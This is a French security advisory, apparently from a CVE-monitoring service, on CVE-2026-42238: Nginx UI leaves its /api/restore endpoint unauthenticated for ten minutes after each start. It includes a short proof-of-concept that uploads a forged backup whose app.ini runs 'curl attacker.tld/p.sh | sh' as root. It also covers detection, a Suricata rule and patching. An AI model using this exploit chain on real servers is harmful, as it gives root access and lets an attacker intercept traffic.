Nginx UI CVE-2026-42238 : RCE root non auth pendant 10 minutes après démarrage

CVE-2026-42238 (CVSS 9.8) est l'une des vulnérabilités les plus pittoresques du mois : une fenêtre de 10 minutes après chaque démarrage de Nginx UI pendant laquelle l'endpoint /api/restore est complètement non authentifié. Un attaquant peut y uploader une archive de sauvegarde forgée, écrasant la configuration app.ini et la base SQLite, et déclencher l'exécution de commandes arbitraires en root — souvent dans le conteneur Docker — après un simple redémarrage automatique.

Comme tout le monde redémarre ses services régulièrement (mise à jour, kubelet healthcheck, upgrade du cluster), la fenêtre se rouvre à chaque incident. C'est une vulnérabilité à exploitation patiente : il suffit d'attendre.

Détails techniques

Composant vulnérable

Nginx UI expose un endpoint POST /api/restore destiné à restaurer une sauvegarde précédemment exportée par l'interface. Pour faciliter le premier lancement (situation où aucun compte admin n'est encore créé), les développeurs ont décidé que cet endpoint n'exigeait pas d'authentification pendant les 10 premières minutes suivant le démarrage du processus.

Problème : cette fenêtre s'applique à chaque démarrage, pas seulement au tout premier. Et l'archive uploadée écrase deux fichiers critiques :

1. app.ini — configuration de Nginx UI, qui contient un paramètre TestConfigCmd (commande exécutée pour valider la configuration Nginx)
2. database.db — base SQLite contenant les comptes utilisateurs, sessions et secrets

L'attaquant peut donc :

1. Crafter une archive contenant un app.ini dont TestConfigCmd pointe vers une commande malveillante (bash -c 'curl attacker.com/p.sh | sh')
2. L'uploader via POST /api/restore pendant la fenêtre de 10 minutes
3. Nginx UI redémarre automatiquement pour appliquer la nouvelle config
4. Une requête déclenchant TestConfigCmd (typiquement une vérification de config) exécute la commande injectée

Dans les déploiements Docker (très majoritaires), le processus tourne en root dans le conteneur. L'attaquant obtient un shell root sur le conteneur, puis pivote en exploitant les capacités/volumes/sockets exposés.

Caractéristiques

Produits et versions affectés

Vérifiez votre version :

# Docker
docker exec nginx-ui /app/nginx-ui --version

# Ou via l'API
curl -s http://nginx-ui.local:9000/api/system/info | jq .version

Exploitation et impact

Scénario réaliste

Imaginez un déploiement classique : Nginx UI tourne dans Kubernetes, manage le reverse proxy d'entrée du cluster. Le pod est redémarré une fois par jour (rolling update, image pull, OOM). À chaque redémarrage, 10 minutes d'exposition totale. L'attaquant scanne en boucle l'instance ; dès qu'il observe la fenêtre ouverte, il déclenche son exploit en quelques secondes.

PoC concept

# 1. Préparer l'archive malveillante avec un app.ini piégé
mkdir restore-payload
cat > restore-payload/app.ini << 'EOF'
[nginx]
TestConfigCmd = bash -c "curl -s attacker.tld/p.sh | sh"
EOF
cd restore-payload && tar czf ../malicious-backup.tar.gz .

# 2. Uploader pendant la fenêtre de 10 min
curl -X POST "http://nginx-ui.victim/api/restore" \
  -F "file=@malicious-backup.tar.gz"

# 3. Le redémarrage automatique + une requête /config/test déclenchent la commande

Conséquences post-compromission

• Contrôle complet de Nginx UI : modification des reverse proxies, redirection de tout le trafic vers un proxy attaquant
• Vol des certificats TLS stockés par Nginx UI
• Pivot LAN depuis le conteneur (selon l'isolation Docker/K8s)
• Interception de tout le trafic HTTPS qui passe par les Nginx managés
• Persistance : modification de la configuration pour conserver l'accès même après patch

Détection et IOC

Logs Nginx UI

Activez le logging d'accès et surveillez :

# Recherche dans les logs Nginx UI
grep "POST /api/restore" /var/log/nginx-ui/access.log

Indicateurs :

• Tout appel à POST /api/restore est suspect (rarement utilisé en production)
• Corrélation : un appel à /api/restore suivi rapidement d'un redémarrage du service
• Apparition de fichiers inattendus dans le volume Nginx UI

Logs système

# Vérifier les redémarrages récents de Nginx UI
journalctl -u nginx-ui --since "1 hour ago" | grep -i "start"

# Docker
docker logs --since 1h nginx-ui | grep -E "starting|listening"

Vérification d'intégrité

Comparez les hashs de app.ini et database.db à une sauvegarde de référence :

sha256sum /etc/nginx-ui/app.ini
sha256sum /var/lib/nginx-ui/database.db

Tout changement non corrélé à une opération admin légitime = compromission probable.

Règle Suricata

alert http any any -> $NGINX_UI_IPS any \
  (msg:"Nginx UI CVE-2026-42238 restore endpoint access"; \
   http.uri; content:"/api/restore"; http.method; content:"POST"; \
   sid:2026042238; rev:1;)

Mitigation et patch

Action immédiate : patcher en 2.3.8

# Docker
docker pull uozi/nginx-ui:2.3.8
docker compose up -d

# Helm Kubernetes
helm upgrade nginx-ui uozi/nginx-ui --version <chart>

Workaround temporaire (si patch impossible)

1. Bloquer l'accès à /api/restore au niveau d'un reverse proxy amont :

location /api/restore {
    deny all;
    return 403;
}
location / {
    proxy_pass http://nginx-ui-backend;
}

2. Restreindre l'accès réseau : ne pas exposer Nginx UI sur Internet (VPN, IP allowlist)
3. Surveiller activement les redémarrages du service et les accès à /api/restore

Hardening durable post-patch

• Faire tourner les credentials admin Nginx UI
• Régénérer les certificats TLS gérés par Nginx UI
• Auditer toute la configuration des reverse proxies pour détecter des modifications discrètes
• Activer le 2FA si supporté par votre version

Pourquoi surveiller en continu votre stack DevOps

Les outils d'administration web (Nginx UI, Portainer, Yacht, CasaOS, Dockge…) sont massivement déployés dans les homelabs, PME et même en production, mais rarement intégrés aux inventaires de vulnérabilités. Une fenêtre d'exposition récurrente comme celle de CVE-2026-42238 — qui se rouvre à chaque démarrage — illustre parfaitement le besoin d'un suivi continu plutôt que d'un scan ponctuel.

Avec cveo.tech, inventoriez vos outils DevOps et soyez alerté automatiquement dès qu'une CVE critique cible une de vos versions exactes — y compris sur des outils communautaires souvent ignorés par les scanners traditionnels.